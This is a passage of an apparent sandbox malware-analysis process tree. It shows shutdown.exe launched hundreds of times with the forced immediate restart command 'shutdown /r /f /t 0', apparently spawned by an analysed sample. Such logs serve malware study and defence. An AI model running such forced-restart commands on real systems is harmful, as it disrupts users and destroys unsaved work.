    3⤵
    PID:5068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4476
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1780
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2356
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4216
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2820
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2748
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3588
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3148
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1468
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3872
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2196
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3580
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4780
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:740
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:568
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3732
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3480
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5028
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4608
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4712
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3172
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1756
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2208
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2200
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2248
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3004
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2544
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2640
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4156
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2008
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3796
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4356
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4488
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1804
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2240
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4860
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4692
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2128
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1992
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1368
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4568
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5040
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1364
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5064
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3296
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4260
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2840
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3196
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1780
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2280
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4884
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4412
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1372
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2820
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4136
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4156
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:656
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2336
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:488
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4160
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2240
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4028
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2308
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4692
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3696
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3828
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:912
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4704
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2280
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4840
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4700
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4136
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1312
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2336
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3808
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3176
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3124
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3644
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1220
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2128
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1196
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4608
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:912
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1756
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2532
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2200
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2280
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:556
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4368
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4700
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4136
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:696
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2336
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4488
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:276
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3176
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3124
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3544
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4580
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2268
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4816
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3020
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5036
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3480
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2040
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4772
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4080
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:556
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4368
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3284
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4604
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1760
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2776
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5044
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4932
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4072
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3684
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1532
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1540
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:724
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3700
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3200
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4552
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4260
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4224
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3196
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2356
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:948
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1548
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:556
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4368
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4144
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1928
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2336
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2016
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1844
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4932
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3460
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2548
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4808
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3480
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4552
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2396
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4708
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3672
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3324
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:804
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2264
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2640
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4456
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4936
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:728
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1972
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3512
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2224
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4808
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3468
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1364
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3372
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4624
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:912
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3672
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4616
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2404
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3356
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3284
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4700
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2640
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3092
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:276
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2872
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4072
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:240
- - C:\Windows\system32\shutdown.exe
